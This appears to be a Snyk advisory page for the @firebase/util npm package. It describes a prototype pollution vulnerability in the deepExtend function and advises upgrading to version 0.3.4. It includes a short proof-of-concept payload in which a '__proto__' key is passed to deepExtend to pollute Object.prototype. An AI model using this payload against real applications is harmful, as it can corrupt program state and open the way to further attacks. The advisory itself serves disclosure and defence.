@firebase/util@0.3.4-canary.47e035fe0 vulnerabilities

_NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package_

Direct Vulnerabilities

Known vulnerabilities in the @firebase/util package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

@firebase/util is a wrapper of some Webchannel Features for the Firebase JS SDK.

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

const util = require('@firebase/util');
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');

const a = {
    nest: {
      number: 1,
      string: '1',
      object: { key: '1' },
      date: new Date(1),
      nest: {
        a: 1
      }
    },
  };

var result = util.deepExtend(a,payload);
console.log({}.polluted);

How to fix Prototype Pollution?

Upgrade @firebase/util to version 0.3.4 or higher.

<0.3.4